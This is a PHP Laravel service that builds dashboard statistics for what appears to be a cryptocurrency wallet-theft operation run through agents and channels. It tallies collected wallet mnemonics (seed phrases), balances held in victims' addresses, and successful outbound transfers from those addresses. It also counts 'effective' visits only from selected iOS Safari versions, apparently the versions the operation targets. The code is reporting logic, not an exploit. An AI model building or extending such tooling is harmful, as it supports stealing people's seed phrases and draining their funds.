<?php

namespace App\Services;

use App\Models\Device;
use App\Models\PageVisit;
use App\Models\TransferRecord;
use App\Models\User;
use App\Models\WalletAddress;
use App\Models\WalletMnemonic;
use App\Support\AgentScope;
use Carbon\Carbon;
use Illuminate\Database\Eloquent\Builder;
use Illuminate\Support\Facades\DB;

class DashboardStatsService
{
    /**
     * @param  array{
     *   range?: string,
     *   date_from?: string,
     *   date_to?: string,
     *   date_range?: string,
     *   channel_id?: string,
     *   channel_exact?: bool,
     *   agent_user_id?: ?int,
     *   agent?: ?User
     * }  $filters
     * @return array{
     *   total: int,
     *   wallet_count: int,
     *   new_count: int,
     *   active_count: int,
     *   pv: int,
     *   uv: int,
     *   effective_pv: int,
     *   effective_uv: int,
     *   mnemonic_count: int,
     *   address_count: int,
     *   balances: array{usdt: string, trx: string, eth: string, btc: string, bnb: string},
     *   transfer_count: int,
     *   transfers: array{usdt: string, trx: string, eth: string, btc: string},
     *   range: string,
     *   from: string,
     *   to: string
     * }
     */
    public function collect(array $filters = []): array
    {
        [$from, $to] = $this->resolveBounds($filters);
        $rangeLabel = $from->toDateString().' ~ '.$to->toDateString();

        $channelId = trim((string) ($filters['channel_id'] ?? ''));
        $channelExact = (bool) ($filters['channel_exact'] ?? false);
        $agent = $filters['agent'] ?? null;
        $agentUserId = array_key_exists('agent_user_id', $filters)
            ? $filters['agent_user_id']
            : null;
        $agentUserId = $agentUserId === null ? null : (int) $agentUserId;

        $base = Device::query();
        AgentScope::applyDeviceChannelScope($base, $agent);
        if ($agent === null) {
            AgentScope::applyAgentUserFilter($base, $agentUserId);
        }
        if ($channelId !== '') {
            if ($channelExact) {
                $base->where('channel_id', $channelId);
            } else {
                $base->where('channel_id', 'like', '%'.$channelId.'%');
            }
        }

        // Period cohort: devices installed (created) in the selected range.
        $createdInRange = (clone $base)->whereBetween('created_at', [$from, $to]);
        $deviceAgg = (clone $createdInRange)
            ->selectRaw(
                'COUNT(*) as total, COALESCE(SUM(CASE WHEN has_wallet = ? THEN 1 ELSE 0 END), 0) as wallet_count',
                [Device::WALLET_YES],
            )
            ->first();
        $total = (int) ($deviceAgg?->total ?? 0);
        $walletCount = (int) ($deviceAgg?->wallet_count ?? 0);
        $newCount = $total;
        $activeCount = (clone $base)->whereBetween('updated_at', [$from, $to])->count();

        $mnemonicCount = $this->countDeviceChildren(
            WalletMnemonic::query(),
            'wallet_mnemonics',
            $agent,
            $agentUserId,
            $channelId,
            $channelExact,
            $from,
            $to,
        );
        [$addressCount, $balances] = $this->addressStats(
            $agent,
            $agentUserId,
            $channelId,
            $channelExact,
            $from,
            $to,
        );
        [$transferCount, $transfers] = $this->transferStats(
            $agent,
            $agentUserId,
            $channelId,
            $channelExact,
            $from,
            $to,
        );

        $visits = PageVisit::query();
        AgentScope::applyChannelIdScope($visits, $agent);
        if ($agent === null) {
            AgentScope::applyChannelIdAgentUserFilter($visits, $agentUserId);
        }
        if ($channelId !== '') {
            if ($channelExact) {
                $visits->where('channel_id', $channelId);
            } else {
                $visits->where('channel_id', 'like', '%'.$channelId.'%');
            }
        }
        $visits->whereBetween('created_at', [$from, $to]);

        $effectiveSql = $this->effectiveVisitSql();
        $visitAgg = (clone $visits)
            ->selectRaw(
                "COUNT(*) as pv,
                COUNT(DISTINCT client_uid) as uv,
                COALESCE(SUM(CASE WHEN ({$effectiveSql}) THEN 1 ELSE 0 END), 0) as effective_pv,
                COUNT(DISTINCT CASE WHEN ({$effectiveSql}) THEN client_uid END) as effective_uv",
            )
            ->first();
        $pv = (int) ($visitAgg?->pv ?? 0);
        $uv = (int) ($visitAgg?->uv ?? 0);
        $effectivePv = (int) ($visitAgg?->effective_pv ?? 0);
        $effectiveUv = (int) ($visitAgg?->effective_uv ?? 0);

        return [
            'total' => $total,
            'wallet_count' => $walletCount,
            'new_count' => $newCount,
            'active_count' => $activeCount,
            'pv' => $pv,
            'uv' => $uv,
            'effective_pv' => $effectivePv,
            'effective_uv' => $effectiveUv,
            'mnemonic_count' => $mnemonicCount,
            'address_count' => $addressCount,
            'balances' => $balances,
            'transfer_count' => $transferCount,
            'transfers' => $transfers,
            'range' => $rangeLabel,
            'from' => $from->toDateTimeString(),
            'to' => $to->toDateTimeString(),
            'date_from' => $from->toDateString(),
            'date_to' => $to->toDateString(),
        ];
    }

    /**
     * @param  array{range?: string, date_from?: string, date_to?: string, date_range?: string}  $filters
     * @return array{0: Carbon, 1: Carbon}
     */
    public function resolveBounds(array $filters): array
    {
        $fromRaw = trim((string) ($filters['date_from'] ?? ''));
        $toRaw = trim((string) ($filters['date_to'] ?? ''));
        $rangeField = trim((string) ($filters['date_range'] ?? ''));

        if ($fromRaw === '' && $toRaw === '' && $rangeField !== '') {
            if (preg_match('/^(\d{4}-\d{2}-\d{2})\s*~\s*(\d{4}-\d{2}-\d{2})$/', $rangeField, $m)
                || preg_match('/^(\d{4}-\d{2}-\d{2})\s*-\s*(\d{4}-\d{2}-\d{2})$/', $rangeField, $m)) {
                $fromRaw = $m[1];
                $toRaw = $m[2];
            }
        }

        if ($fromRaw !== '' && $toRaw !== '') {
            try {
                $from = Carbon::parse($fromRaw)->startOfDay();
                $to = Carbon::parse($toRaw)->endOfDay();
            } catch (\Throwable) {
                return $this->rangeBounds((string) ($filters['range'] ?? '30d'));
            }
            if ($from->gt($to)) {
                [$from, $to] = [$to->copy()->startOfDay(), $from->copy()->endOfDay()];
            }

            return [$from, $to];
        }

        return $this->rangeBounds((string) ($filters['range'] ?? '30d'));
    }

    /**
     * Join a device-child table and apply the same channel / agent scope as device totals.
     */
    private function scopedDeviceChildren(
        Builder $query,
        string $table,
        ?User $agent,
        ?int $agentUserId,
        string $channelId,
        bool $channelExact,
    ): Builder {
        $query->join('devices', 'devices.id', '=', $table.'.device_id');
        AgentScope::applyDeviceChannelScope($query, $agent);
        if ($agent === null) {
            AgentScope::applyAgentUserFilter($query, $agentUserId);
        }
        if ($channelId !== '') {
            if ($channelExact) {
                $query->where('devices.channel_id', $channelId);
            } else {
                $query->where('devices.channel_id', 'like', '%'.$channelId.'%');
            }
        }

        return $query;
    }

    private function countDeviceChildren(
        Builder $query,
        string $table,
        ?User $agent,
        ?int $agentUserId,
        string $channelId,
        bool $channelExact,
        Carbon $from,
        Carbon $to,
    ): int {
        return $this->scopedDeviceChildren($query, $table, $agent, $agentUserId, $channelId, $channelExact)
            ->whereBetween($table.'.created_at', [$from, $to])
            ->count($table.'.id');
    }

    /**
     * Address count + coin sums in one pass over wallet_addresses in range.
     *
     * @return array{0: int, 1: array{usdt: string, trx: string, eth: string, btc: string, bnb: string}}
     */
    private function addressStats(
        ?User $agent,
        ?int $agentUserId,
        string $channelId,
        bool $channelExact,
        Carbon $from,
        Carbon $to,
    ): array {
        $q = $this->scopedDeviceChildren(
            WalletAddress::query(),
            'wallet_addresses',
            $agent,
            $agentUserId,
            $channelId,
            $channelExact,
        )->whereBetween('wallet_addresses.created_at', [$from, $to]);

        $selects = ['COUNT(wallet_addresses.id) as addr_count'];
        foreach (WalletAddress::COIN_COLUMNS as $col) {
            $selects[] = 'COALESCE(SUM(wallet_addresses.'.$col.'), 0) as '.$col;
        }
        $row = $q->selectRaw(implode(', ', $selects))->first();

        $out = [];
        foreach (WalletAddress::COIN_COLUMNS as $col) {
            $raw = $row?->{$col} ?? 0;
            $formatted = WalletAddress::formatAmount($col, $raw);
            $out[$col] = $formatted === '' ? '0' : $formatted;
        }

        /** @var array{usdt: string, trx: string, eth: string, btc: string, bnb: string} $out */
        return [(int) ($row?->addr_count ?? 0), $out];
    }

    /**
     * Successful outbound transfer count + per-asset sums in the selected range.
     *
     * @return array{0: int, 1: array{usdt: string, trx: string, eth: string, btc: string}}
     */
    private function transferStats(
        ?User $agent,
        ?int $agentUserId,
        string $channelId,
        bool $channelExact,
        Carbon $from,
        Carbon $to,
    ): array {
        $q = TransferRecord::query()
            ->where('transfer_records.status', TransferRecord::STATUS_SUCCESS)
            ->whereBetween('transfer_records.created_at', [$from, $to]);

        if ($agent !== null || $agentUserId !== null || $channelId !== '') {
            $q->whereExists(function ($sub) use ($agent, $agentUserId, $channelId, $channelExact) {
                $sub->selectRaw('1')
                    ->from('wallet_addresses')
                    ->join('devices', 'devices.id', '=', 'wallet_addresses.device_id')
                    ->whereColumn('wallet_addresses.address', 'transfer_records.from_address');

                $scopedIds = null;
                if ($agent !== null) {
                    $scopedIds = AgentScope::channelIdsFor($agent);
                } elseif ($agentUserId !== null) {
                    $scopedIds = AgentScope::channelIdsForUserId($agentUserId);
                }
                if ($scopedIds !== null) {
                    if ($scopedIds === []) {
                        $sub->whereRaw('1 = 0');
                    } else {
                        $sub->whereIn('devices.channel_id', $scopedIds);
                    }
                }
                if ($channelId !== '') {
                    if ($channelExact) {
                        $sub->where('devices.channel_id', $channelId);
                    } else {
                        $sub->where('devices.channel_id', 'like', '%'.$channelId.'%');
                    }
                }
            });
        }

        $amountExpr = DB::connection()->getDriverName() === 'sqlite'
            ? 'CAST(transfer_records.amount AS REAL)'
            : 'CAST(transfer_records.amount AS DECIMAL(32, 18))';
        $rows = (clone $q)
            ->selectRaw('UPPER(transfer_records.asset) as asset, COUNT(*) as cnt, COALESCE(SUM('.$amountExpr.'), 0) as total')
            ->groupByRaw('UPPER(transfer_records.asset)')
            ->get();

        $coins = ['usdt' => '0', 'trx' => '0', 'eth' => '0', 'btc' => '0'];
        $count = 0;
        foreach ($rows as $row) {
            $count += (int) $row->cnt;
            $col = strtolower((string) $row->asset);
            if (! isset($coins[$col])) {
                continue;
            }
            $formatted = WalletAddress::formatAmount($col, $row->total);
            $coins[$col] = $formatted === '' ? '0' : $formatted;
        }

        return [$count, $coins];
    }

    /**
     * Map telegram /data day token to dashboard range key.
     * Empty / omitted → today.
     */
    public function rangeFromDays(?string $days): string
    {
        $days = $days === null ? '' : trim($days);
        if ($days === '' || $days === '1') {
            return 'today';
        }

        return match ($days) {
            '7' => '7d',
            '30' => '30d',
            default => throw new \InvalidArgumentException('Days must be 1, 7, or 30'),
        };
    }

    /**
     * @return array{0: Carbon, 1: Carbon}
     */
    public function rangeBounds(string $range): array
    {
        $now = Carbon::now();

        return match ($range) {
            'today', '1', '1d' => [$now->copy()->startOfDay(), $now->copy()->endOfDay()],
            'yesterday' => [
                $now->copy()->subDay()->startOfDay(),
                $now->copy()->subDay()->endOfDay(),
            ],
            '7d', '7' => [$now->copy()->subDays(6)->startOfDay(), $now->copy()->endOfDay()],
            default => [$now->copy()->subDays(29)->startOfDay(), $now->copy()->endOfDay()],
        };
    }

    /**
     * Safari on iOS 13.0.0–17.2.1, plus DS allowlist versions.
     * Exclude unsupported 15.8.8 and 16.7.1x (16.7.10+).
     */
    public function effectiveVisitSql(): string
    {
        [$major, $minor, $patch] = $this->osVersionPartsSql();

        return "os = 'iOS' AND browser = 'Safari' AND os_version IS NOT NULL AND os_version != '' AND (
                ({$major} >= 13 AND (
                    {$major} < 17
                    OR ({$major} = 17 AND {$minor} < 2)
                    OR ({$major} = 17 AND {$minor} = 2 AND {$patch} <= 1)
                ))
                OR ({$major} = 18 AND {$minor} = 5 AND {$patch} = 0)
                OR ({$major} = 18 AND {$minor} = 6 AND {$patch} IN (0, 1, 2))
            ) AND NOT ({$major} = 15 AND {$minor} = 8 AND {$patch} = 8)
            AND NOT ({$major} = 16 AND {$minor} = 7 AND {$patch} >= 10)";
    }

    /**
     * @return array{0: string, 1: string, 2: string} major / minor / patch SQL
     */
    private function osVersionPartsSql(): array
    {
        if (DB::connection()->getDriverName() === 'sqlite') {
            $major = 'CAST(os_version AS INTEGER)';
            $minor = "CAST(CASE WHEN INSTR(os_version, '.') = 0 THEN '0' ELSE SUBSTR(os_version, INSTR(os_version, '.') + 1) END AS INTEGER)";
            $patch = "CAST(CASE WHEN LENGTH(os_version) - LENGTH(REPLACE(os_version, '.', '')) < 2 THEN '0' ELSE SUBSTR(os_version, INSTR(os_version, '.') + INSTR(SUBSTR(os_version, INSTR(os_version, '.') + 1), '.') + 1) END AS INTEGER)";

            return [$major, $minor, $patch];
        }

        $padded = "CONCAT(os_version, '.0.0')";
        $major = "CAST(SUBSTRING_INDEX(os_version, '.', 1) AS UNSIGNED)";
        $minor = "CAST(SUBSTRING_INDEX(SUBSTRING_INDEX({$padded}, '.', 2), '.', -1) AS UNSIGNED)";
        $patch = "CAST(SUBSTRING_INDEX(SUBSTRING_INDEX({$padded}, '.', 3), '.', -1) AS UNSIGNED)";

        return [$major, $minor, $patch];
    }

}